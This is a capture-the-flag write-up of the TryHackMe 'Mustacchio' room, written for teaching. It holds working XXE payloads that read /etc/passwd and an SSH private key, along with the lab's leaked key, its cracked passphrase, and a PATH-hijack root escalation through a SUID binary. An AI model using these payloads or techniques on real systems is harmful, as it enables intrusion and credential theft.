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On this page
  • License
  • 0 - Introduction
  • 1 - Port Scans
  • 1a - Discovery
  • 1b - Versioning and OS fingerprinting
  • 1c - Vulners
  • 2 - Port 80
  • 2a - Dirbusting
  • 2b - Opening users.bak
  • 3 - Port 8765
  • 3a - Logging in
  • 3b - Comment input
  • 3c - XXE powered exfiltration
  • 4 - SSH
  • 4a - SSH key cracking
  • 4b - Foothold!
  • 5 - PrivEsc
  • 5a - Looking around
  • 5b - Weaponizing and Escalation

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  1. TryHackMe

Mustacchio

PreviousmKingdomNextOpacity

Last updated 1 year ago

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License

The following post by anthonyjsaab is licensed under

0 - Introduction

Link to room:

Machine version: Mustacchio V2

This writeup walks you through a room on TryHackMe created by

1 - Port Scans

1a - Discovery

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ sudo nmap -sS -T4 -p- -Pn mustacchio.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 18:56 EEST
Nmap scan report for mustacchio.thm (10.10.75.137)
Host is up (0.100s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8765/tcp open  ultraseek-http

Nmap done: 1 IP address (1 host up) scanned in 111.50 seconds

1b - Versioning and OS fingerprinting

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ sudo nmap -sC -sV -O -T4 -p22,80,8765 -Pn mustacchio.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 18:58 EEST
Nmap scan report for mustacchio.thm (10.10.75.137)
Host is up (0.096s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
| http-robots.txt: 1 disallowed entry 
|_/
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 5.X|3.X (89%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:3 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 5.4 (89%), Linux 3.10 - 3.13 (88%), Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.53 seconds

1c - Vulners

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ sudo nmap -sV --script vulners --script-args mincvss=7.5 -p22,80,8765 -Pn mustacchio.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:00 EEST
Nmap scan report for mustacchio.thm (10.10.75.137)
Host is up (0.094s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.2p2: 
|     	PRION:CVE-2016-8858	7.8	https://vulners.com/prion/PRION:CVE-2016-8858
|     	PRION:CVE-2016-6515	7.8	https://vulners.com/prion/PRION:CVE-2016-6515
|     	PACKETSTORM:140070	7.8	https://vulners.com/packetstorm/PACKETSTORM:140070	*EXPLOIT*
|     	EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09	7.8	https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09	*EXPLOIT*
|     	EDB-ID:40888	7.8	https://vulners.com/exploitdb/EDB-ID:40888	*EXPLOIT*
|     	CVE-2016-8858	7.8	https://vulners.com/cve/CVE-2016-8858
|     	CVE-2016-6515	7.8	https://vulners.com/cve/CVE-2016-6515
|     	1337DAY-ID-26494	7.8	https://vulners.com/zdt/1337DAY-ID-26494	*EXPLOIT*
|     	SSV:92579	7.5	https://vulners.com/seebug/SSV:92579	*EXPLOIT*
|     	PRION:CVE-2023-35784	7.5	https://vulners.com/prion/PRION:CVE-2023-35784
|     	PRION:CVE-2016-10009	7.5	https://vulners.com/prion/PRION:CVE-2016-10009
|     	PACKETSTORM:173661	7.5	https://vulners.com/packetstorm/PACKETSTORM:173661	*EXPLOIT*
|     	CVE-2023-35784	7.5	https://vulners.com/cve/CVE-2023-35784
|     	CVE-2016-10009	7.5	https://vulners.com/cve/CVE-2016-10009
|     	1337DAY-ID-26576	7.5	https://vulners.com/zdt/1337DAY-ID-26576	*EXPLOIT*
|     	PACKETSTORM:151227	0.0	https://vulners.com/packetstorm/PACKETSTORM:151227	*EXPLOIT*
|     	PACKETSTORM:140261	0.0	https://vulners.com/packetstorm/PACKETSTORM:140261	*EXPLOIT*
|     	PACKETSTORM:138006	0.0	https://vulners.com/packetstorm/PACKETSTORM:138006	*EXPLOIT*
|     	PACKETSTORM:137942	0.0	https://vulners.com/packetstorm/PACKETSTORM:137942	*EXPLOIT*
|_    	1337DAY-ID-30937	0.0	https://vulners.com/zdt/1337DAY-ID-30937	*EXPLOIT*
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| vulners: 
|   cpe:/a:apache:http_server:2.4.18: 
|     	PACKETSTORM:176334	7.5	https://vulners.com/packetstorm/PACKETSTORM:176334	*EXPLOIT*
|     	PACKETSTORM:171631	7.5	https://vulners.com/packetstorm/PACKETSTORM:171631	*EXPLOIT*
|     	OSV:BIT-APACHE-2023-25690	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2023-25690
|     	OSV:BIT-APACHE-2022-31813	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2022-31813
|     	OSV:BIT-APACHE-2022-23943	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2022-23943
|     	OSV:BIT-APACHE-2022-22720	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2022-22720
|     	OSV:BIT-APACHE-2021-44790	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2021-44790
|     	OSV:BIT-APACHE-2021-42013	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2021-42013
|     	OSV:BIT-APACHE-2021-41773	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2021-41773
|     	OSV:BIT-APACHE-2021-39275	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2021-39275
|     	OSV:BIT-APACHE-2021-26691	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2021-26691
|     	OSV:BIT-APACHE-2020-11984	7.5	https://vulners.com/osv/OSV:BIT-APACHE-2020-11984
|     	MSF:EXPLOIT-MULTI-HTTP-APACHE_NORMALIZE_PATH_RCE-	7.5	https://vulners.com/metasploit/MSF:EXPLOIT-MULTI-HTTP-APACHE_NORMALIZE_PATH_RCE-	*EXPLOIT*
|     	MSF:AUXILIARY-SCANNER-HTTP-APACHE_NORMALIZE_PATH-	7.5	https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-HTTP-APACHE_NORMALIZE_PATH-	*EXPLOIT*
|     	F9C0CD4B-3B60-5720-AE7A-7CC31DB839C5	7.5	https://vulners.com/githubexploit/F9C0CD4B-3B60-5720-AE7A-7CC31DB839C5	*EXPLOIT*
|     	F41EE867-4E63-5259-9DF0-745881884D04	7.5	https://vulners.com/githubexploit/F41EE867-4E63-5259-9DF0-745881884D04	*EXPLOIT*
|     	EDB-ID:51193	7.5	https://vulners.com/exploitdb/EDB-ID:51193	*EXPLOIT*
|     	EDB-ID:50512	7.5	https://vulners.com/exploitdb/EDB-ID:50512	*EXPLOIT*
|     	EDB-ID:50446	7.5	https://vulners.com/exploitdb/EDB-ID:50446	*EXPLOIT*
|     	EDB-ID:50406	7.5	https://vulners.com/exploitdb/EDB-ID:50406	*EXPLOIT*
|     	E796A40A-8A8E-59D1-93FB-78EF4D8B7FA6	7.5	https://vulners.com/githubexploit/E796A40A-8A8E-59D1-93FB-78EF4D8B7FA6	*EXPLOIT*
|     	CVE-2023-25690	7.5	https://vulners.com/cve/CVE-2023-25690
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	7.5	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	7.5	https://vulners.com/cve/CVE-2022-22720
|     	CVE-2021-44790	7.5	https://vulners.com/cve/CVE-2021-44790
|     	CVE-2021-39275	7.5	https://vulners.com/cve/CVE-2021-39275
|     	CVE-2021-26691	7.5	https://vulners.com/cve/CVE-2021-26691
|     	CVE-2017-7679	7.5	https://vulners.com/cve/CVE-2017-7679
|     	CVE-2017-3169	7.5	https://vulners.com/cve/CVE-2017-3169
|     	CVE-2017-3167	7.5	https://vulners.com/cve/CVE-2017-3167
|     	CNVD-2022-73123	7.5	https://vulners.com/cnvd/CNVD-2022-73123
|     	CNVD-2022-03225	7.5	https://vulners.com/cnvd/CNVD-2022-03225
|     	CNVD-2021-102386	7.5	https://vulners.com/cnvd/CNVD-2021-102386
|     	CC15AE65-B697-525A-AF4B-38B1501CAB49	7.5	https://vulners.com/githubexploit/CC15AE65-B697-525A-AF4B-38B1501CAB49	*EXPLOIT*
|     	C879EE66-6B75-5EC8-AA68-08693C6CCAD1	7.5	https://vulners.com/githubexploit/C879EE66-6B75-5EC8-AA68-08693C6CCAD1	*EXPLOIT*
|     	B02819DB-1481-56C4-BD09-6B4574297109	7.5	https://vulners.com/githubexploit/B02819DB-1481-56C4-BD09-6B4574297109	*EXPLOIT*
|     	9B4F4E4A-CFDF-5847-805F-C0BAE809DBD5	7.5	https://vulners.com/githubexploit/9B4F4E4A-CFDF-5847-805F-C0BAE809DBD5	*EXPLOIT*
|     	8713FD59-264B-5FD7-8429-3251AB5AB3B8	7.5	https://vulners.com/githubexploit/8713FD59-264B-5FD7-8429-3251AB5AB3B8	*EXPLOIT*
|     	831E1114-13D1-54EF-BDE4-F655114CDC29	7.5	https://vulners.com/githubexploit/831E1114-13D1-54EF-BDE4-F655114CDC29	*EXPLOIT*
|     	78787F63-0356-51EC-B32A-B9BD114431C3	7.5	https://vulners.com/githubexploit/78787F63-0356-51EC-B32A-B9BD114431C3	*EXPLOIT*
|     	6A0A657E-8300-5312-99CE-E11F460B1DBF	7.5	https://vulners.com/githubexploit/6A0A657E-8300-5312-99CE-E11F460B1DBF	*EXPLOIT*
|     	64D31BF1-F977-51EC-AB1C-6693CA6B58F3	7.5	https://vulners.com/githubexploit/64D31BF1-F977-51EC-AB1C-6693CA6B58F3	*EXPLOIT*
|     	61075B23-F713-537A-9B84-7EB9B96CF228	7.5	https://vulners.com/githubexploit/61075B23-F713-537A-9B84-7EB9B96CF228	*EXPLOIT*
|     	5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9	7.5	https://vulners.com/githubexploit/5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9	*EXPLOIT*
|     	5312D04F-9490-5472-84FA-86B3BBDC8928	7.5	https://vulners.com/githubexploit/5312D04F-9490-5472-84FA-86B3BBDC8928	*EXPLOIT*
|     	52E13088-9643-5E81-B0A0-B7478BCF1F2C	7.5	https://vulners.com/githubexploit/52E13088-9643-5E81-B0A0-B7478BCF1F2C	*EXPLOIT*
|     	495E99E5-C1B0-52C1-9218-384D04161BE4	7.5	https://vulners.com/githubexploit/495E99E5-C1B0-52C1-9218-384D04161BE4	*EXPLOIT*
|     	3F17CA20-788F-5C45-88B3-E12DB2979B7B	7.5	https://vulners.com/githubexploit/3F17CA20-788F-5C45-88B3-E12DB2979B7B	*EXPLOIT*
|     	22DCCD26-B68C-5905-BAC2-71D10DE3F123	7.5	https://vulners.com/githubexploit/22DCCD26-B68C-5905-BAC2-71D10DE3F123	*EXPLOIT*
|     	2108729F-1E99-54EF-9A4B-47299FD89FF2	7.5	https://vulners.com/githubexploit/2108729F-1E99-54EF-9A4B-47299FD89FF2	*EXPLOIT*
|     	1337DAY-ID-39214	7.5	https://vulners.com/zdt/1337DAY-ID-39214	*EXPLOIT*
|     	1337DAY-ID-38427	7.5	https://vulners.com/zdt/1337DAY-ID-38427	*EXPLOIT*
|     	1337DAY-ID-37777	7.5	https://vulners.com/zdt/1337DAY-ID-37777	*EXPLOIT*
|     	1337DAY-ID-36952	7.5	https://vulners.com/zdt/1337DAY-ID-36952	*EXPLOIT*
|     	1337DAY-ID-34882	7.5	https://vulners.com/zdt/1337DAY-ID-34882	*EXPLOIT*
|     	PACKETSTORM:152441	0.0	https://vulners.com/packetstorm/PACKETSTORM:152441	*EXPLOIT*
|     	B0A9E5E8-7CCC-5984-9922-A89F11D6BF38	0.0	https://vulners.com/githubexploit/B0A9E5E8-7CCC-5984-9922-A89F11D6BF38	*EXPLOIT*
|_    	45D138AD-BEC6-552A-91EA-8816914CA7F4	0.0	https://vulners.com/githubexploit/45D138AD-BEC6-552A-91EA-8816914CA7F4	*EXPLOIT*
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds

2 - Port 80

2a - Dirbusting

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://mustacchio.thm 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mustacchio.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/custom               (Status: 301) [Size: 317] [--> http://mustacchio.thm/custom/]
/fonts                (Status: 301) [Size: 316] [--> http://mustacchio.thm/fonts/]
/images               (Status: 301) [Size: 317] [--> http://mustacchio.thm/images/]
/index.html           (Status: 200) [Size: 1752]
/robots.txt           (Status: 200) [Size: 28]
/server-status        (Status: 403) [Size: 279]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

After going though the files and folders shown above, we can find a file named users.bak here:

2b - Opening users.bak

The file extension .bak is a generic suffix used to designated a backup file. Thus, it does not tell us what kind of file we have and how to open it. The first tool to use is exiftool:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ exiftool Downloads/users.bak
ExifTool Version Number         : 12.76
File Name                       : users.bak
Directory                       : Downloads
File Size                       : 8.2 kB
File Modification Date/Time     : 2024:05:21 19:06:57+03:00
File Access Date/Time           : 2024:05:21 19:07:49+03:00
File Inode Change Date/Time     : 2024:05:21 19:06:57+03:00
File Permissions                : -rw-r--r--
Error                           : Unknown file type

It did not help us. Next, we try to opening it using Mousepad:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ sqlite3 Downloads/users.bak
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> SELECT * FROM users;
admin|1868e36a6d2b17d4c2745f1659433a54d4bc5f4b

After some searching for a login portal, we find that the port 8765 has one.

3 - Port 8765

3a - Logging in

Trying to login using the recovered credentials does not work. I suspect that the password was not stored in plaintext but as a hash. Thus, we need to crack it and try again:

3b - Comment input

3bi - Probing

Now this is clear. The input text field requires those 3 child elements: name, author and comment. Let us try:

I couldn't figure out the correct tag for the comment section, but I guess we won't really need it since two others are working.

3c - XXE powered exfiltration

I crafted this payload:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE name [
  <!ELEMENT name ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
<author>insecureman1337</author>
</root>

and got this:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false joe:x:1002:1002::/home/joe:/bin/bash barry:x:1003:1003::/home/barry:/bin/bash

We now know the target machine has two human user accounts: joe and barry

Let us try to retrieve their respective SSH private keys.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE name [
  <!ELEMENT name ANY >
  <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<root>
<name>&xxe;</name>
<author>insecureman1337</author>
</root>

It worked for barry only and not joe.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E

jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57eGYOM8wdZvVMGrfN
bNJVZXj6VluZMr9uEX8Y4vC2bt2KCBiFg224B61z4XJoiWQ35G/bXs1ZGxXoNIMU
MZdJ7DH1k226qQMtm4q96MZKEQ5ZFa032SohtfDPsoim/7dNapEOujRmw+ruBE65
l2f9wZCfDaEZvxCSyQFDJjBXm07mqfSJ3d59dwhrG9duruu1/alUUvI/jM8bOS2D
Wfyf3nkYXWyD4SPCSTKcy4U9YW26LG7KMFLcWcG0D3l6l1DwyeUBZmc8UAuQFH7E
NsNswVykkr3gswl2BMTqGz1bw/1gOdCj3Byc1LJ6mRWXfD3HSmWcc/8bHfdvVSgQ
ul7A8ROlzvri7/WHlcIA1SfcrFaUj8vfXi53fip9gBbLf6syOo0zDJ4Vvw3ycOie
TH6b6mGFexRiSaE/u3r54vZzL0KHgXtapzb4gDl/yQJo3wqD1FfY7AC12eUc9NdC
rcvG8XcDg+oBQokDnGVSnGmmvmPxIsVTT3027ykzwei3WVlagMBCOO/ekoYeNWlX
bhl1qTtQ6uC1kHjyTHUKNZVB78eDSankoERLyfcda49k/exHZYTmmKKcdjNQ+KNk
4cpvlG9Qp5Fh7uFCDWohE/qELpRKZ4/k6HiA4FS13D59JlvLCKQ6IwOfIRnstYB8
7+YoMkPWHvKjmS/vMX+elcZcvh47KNdNl4kQx65BSTmrUSK8GgGnqIJu2/G1fBk+
T+gWceS51WrxIJuimmjwuFD3S2XZaVXJSdK7ivD3E8KfWjgMx0zXFu4McnCfAWki
ahYmead6WiWHtM98G/hQ6K6yPDO7GDh7BZuMgpND/LbS+vpBPRzXotClXH6Q99I7
LIuQCN5hCb8ZHFD06A+F2aZNpg0G7FsyTwTnACtZLZ61GdxhNi+3tjOVDGQkPVUs
pkh9gqv5+mdZ6LVEqQ31eW2zdtCUfUu4WSzr+AndHPa2lqt90P+wH2iSd4bMSsxg
laXPXdcVJxmwTs+Kl56fRomKD9YdPtD4Uvyr53Ch7CiiJNsFJg4lY2s7WiAlxx9o
vpJLGMtpzhg8AXJFVAtwaRAFPxn54y1FITXX6tivk62yDRjPsXfzwbMNsvGFgvQK
DZkaeK+bBjXrmuqD4EB9K540RuO6d7kiwKNnTVgTspWlVCebMfLIi76SKtxLVpnF
6aak2iJkMIQ9I0bukDOLXMOAoEamlKJT5g+wZCC5aUI6cZG0Mv0XKbSX2DTmhyUF
ckQU/dcZcx9UXoIFhx7DesqroBTR6fEBlqsn7OPlSFj0lAHHCgIsxPawmlvSm3bs
7bdofhlZBjXYdIlZgBAqdq5jBJU8GtFcGyph9cb3f+C3nkmeDZJGRJwxUYeUS9Of
1dVkfWUhH2x9apWRV8pJM/ByDd0kNWa/c//MrGM0+DKkHoAZKfDl3sC0gdRB7kUQ
+Z87nFImxw95dxVvoZXZvoMSb7Ovf27AUhUeeU8ctWselKRmPw56+xhObBoAbRIn
7mxN/N5LlosTefJnlhdIhIDTDMsEwjACA+q686+bREd+drajgk6R9eKgSME7geVD
-----END RSA PRIVATE KEY-----

4 - SSH

4a - SSH key cracking

The above key is encrypted. We need to crack it.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ john --wordlist=~/Documents/rockyou.txt barry.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
                                        
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ john --wordlist=~/Documents/rockyou.txt barry.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
                                             
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ john --show barry.hash 
barry_id_rsa:urieljames

1 password hash cracked, 0 left

4b - Foothold!

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ ssh barry@mustacchio.thm -i barry_id_rsa
Enter passphrase for key 'barry_id_rsa': 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

34 packages can be updated.
16 of these updates are security updates.
To see these additional updates run: apt list --upgradable



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

barry@mustacchio:~$ ls -la
total 20
drwxr-xr-x 4 barry barry 4096 May 22 06:45 .
drwxr-xr-x 4 root  root  4096 Jun 12  2021 ..
drwx------ 2 barry barry 4096 May 22 06:45 .cache
drwxr-xr-x 2 barry barry 4096 Jun 12  2021 .ssh
-rw-r--r-- 1 barry barry   33 Jun 12  2021 user.txt

5 - PrivEsc

5a - Looking around

The first move I always do when establishing foothold is go to the home directories of other users. Looking into joe's home dir:

barry@mustacchio:~$ cd /home/joe
barry@mustacchio:/home/joe$ ls -la
total 28
drwxr-xr-x 2 joe  joe   4096 Jun 12  2021 .
drwxr-xr-x 4 root root  4096 Jun 12  2021 ..
-rwsr-xr-x 1 root root 16832 Jun 12  2021 live_log
barry@mustacchio:/home/joe$ file live_log
live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped

This is important, we have a root-owned executable with the SUID bit set! Let us look into this.

5b - Weaponizing and Escalation

We exfiltrate the ELF executable to our Kali machine for further analysis:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ scp -i barry_id_rsa barry@mustacchio.thm:/home/joe/live_log .
live_log                                        100%   16KB  40.4KB/s   00:00    
                                                                                  
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ strings live_log 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
printf
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
--snip--

Nice! It seems the executable is executing tail. Let us check if this is right:

barry@mustacchio:/home/joe$ ./live_log 
10.11.85.12 - - [22/May/2024:09:56:56 +0000] "GET / HTTP/1.1" 200 728 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
10.11.85.12 - - [22/May/2024:09:56:57 +0000] "GET / HTTP/1.1" 200 728 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
10.11.85.12 - - [22/May/2024:09:57:00 +0000] "POST /home.php HTTP/1.1" 302 3860 "http://mustacchio.thm:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
10.11.85.12 - - [22/May/2024:09:57:00 +0000] "GET /index.php HTTP/1.1" 200 728 "http://mustacchio.thm:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"

It does seem to execute tail on a log file. Since a relative path was used to reference tail, we can change PATH and make live_log launch a program of our choice with root privileges.

barry@mustacchio:~$ nano shell.py
barry@mustacchio:~$ cat shell.py 
#!/usr/bin/python3
import pty
pty.spawn("/bin/bash")

barry@mustacchio:~$ printenv | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
barry@mustacchio:~$ export PATH=/home/barry:$PATH
barry@mustacchio:~$ printenv | grep PATH
PATH=/home/barry:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
barry@mustacchio:~$ mv shell.py tail
barry@mustacchio:~$ chmod +x tail
barry@mustacchio:~$ /home/joe/live_log 
root@mustacchio:~# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:~#

Now, I wasn't sure what I could do with this field. I googled XML attacks, and found this interesting webpage:

๐Ÿ‘บ
https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
CC BY 4.0
https://tryhackme.com/r/room/mustacchio
zyeinn
Bingo! It seems we have an SQLite3 database
Bingo!
We are in!
Tried to submit an empty text field. This error poped up
Submitting the word 'test' gives us this
Submitting this XML code returns the above comment preview